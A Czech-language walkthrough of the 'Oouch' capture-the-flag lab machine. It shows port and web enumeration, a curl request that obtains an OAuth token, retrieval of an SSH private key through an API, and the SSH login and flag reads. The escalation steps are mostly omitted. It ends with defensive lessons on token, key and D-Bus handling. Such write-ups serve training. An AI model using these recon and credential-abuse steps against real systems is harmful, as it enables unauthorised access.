Oouch
Úvod a kontext
Na Oouch je nejzajímavější, jak se propojí OAuth tokeny a aplikační tajemství, převod dokumentů a server-side render a anonymní FTP.
Bez pochopení této návaznosti by nedával smysl ani OAuth token a návazný přístup do aplikace, ani závěrečná zneužití D-Bus a práce s iptables.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.38
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: nginx/1.14.2
[... výstup zkrácen ...]
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://$IP:5000 -e php -x 403 -r
[19:39:15] 302 - 247B - /about -> http://10.10.10.177:5000/login?next=%2Fabout
[19:39:38] 302 - 251B - /contact -> http://10.10.10.177:5000/login?next=%2Fcontact
[19:39:42] 302 - 255B - /documents -> http://10.10.10.177:5000/login?next=%2Fdocuments
[19:39:49] 302 - 245B - /home -> http://10.10.10.177:5000/login?next=%2Fhome
[19:39:56] 200 - 2KB - /login
[19:39:57] 302 - 219B - /logout -> http://10.10.10.177:5000/login
[19:40:02] 302 - 247B - /oauth -> http://10.10.10.177:5000/login?next=%2Foauth
[19:40:09] 302 - 251B - /profile -> http://10.10.10.177:5000/login?next=%2Fprofile
[19:40:10] 200 - 2KB - /register
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml -u http://$IP:5000
===============================================================
/contact (Status: 302)
/logout (Status: 302)
/login (Status: 200)
/register (Status: 200)
/about (Status: 302)
/home (Status: 302)
/profile (Status: 302)
/documents (Status: 302)
/oauth (Status: 302)
Získání přístupu
Přihlášení na cíl
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "grant_type=client_credentials&client_id=aMQDcsyUjT0Kz0JOAPDTYSKQJptnaz8MZ5j6TjaV&client_secret=__CENSORED__" -L -s
=> {"access_token": "JxUkNjpfM5i5ZvlqifDHvo7kzFyJOo", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}
## Získání ssh klíče
http://authorization.oouch.htb:8000/api/get_ssh/?access_token=__CENSORED__
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\nIEkgsoEGTkznCbAAAADnBlbnRlc3RlckBrYWxpAQIDBA==\n-----END OPENSSH PRIVATE KEY-----"}
=> id_rsa:
-----BEGIN OPENSSH PRIVATE KEY-----
__CENSORED__
__CENSORED__
__CENSORED__
...
/__CENSORED__
/__CENSORED__
__CENSORED__
__CENSORED__
__CENSORED__
...
IEkgsoEGTkznCbAAAADnBlbnRlc3RlckBrYWxpAQIDBA==
-----END OPENSSH PRIVATE KEY-----
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.
ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb
cat user.txt
2db6b9d9939e3491470e433352750bcd
.note.txt:
Implementing an IPS using DBus and iptables == Genius?
=> DBus?
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Z hlediska rozhodování bylo nejdůležitější správně přečíst vazbu mezi OAuth tokeny a aplikační tajemství, převod dokumentů a server-side render a anonymní FTP.
- K uživatelskému kontextu vedl konkrétní a ověřitelný krok: OAuth token a návazný přístup do aplikace.
- Poslední část ukazuje, že po získání shellu rozhoduje hlavně to, jakou roli hraje zneužití D-Bus a práce s
iptables.
Co si odnést do praxe
- První obranná lekce míří na OAuth tokeny a aplikační tajemství, převod dokumentů a server-side render a anonymní FTP. Tokeny, redirecty a validace JWT musí být navržené jako bezpečnostní hranice, ne jen jako aplikační detail; chyba v důvěře k externím klíčům nebo redirectům rychle obchází autorizaci.
- Druhá lekce je o tom, jak rychle se ze zjištění stane OAuth token a návazný přístup do aplikace. SSH klíče nesmějí být sdílené mezi rolemi ani uložené v procesech, exportech nebo webrootu; uniklý privátní klíč je stabilnější foothold než jednorázový shell.
- Třetí lekce připomíná riziko, které v praxi představuje zneužití D-Bus a práce s
iptables. Privilegované procesy komunikující přes D-Bus nebo podobné sběrnice musí důsledně ověřovat, kdo a s jakými parametry požadavek posílá; jinak se z pomocné automatiky stává privesc kanál.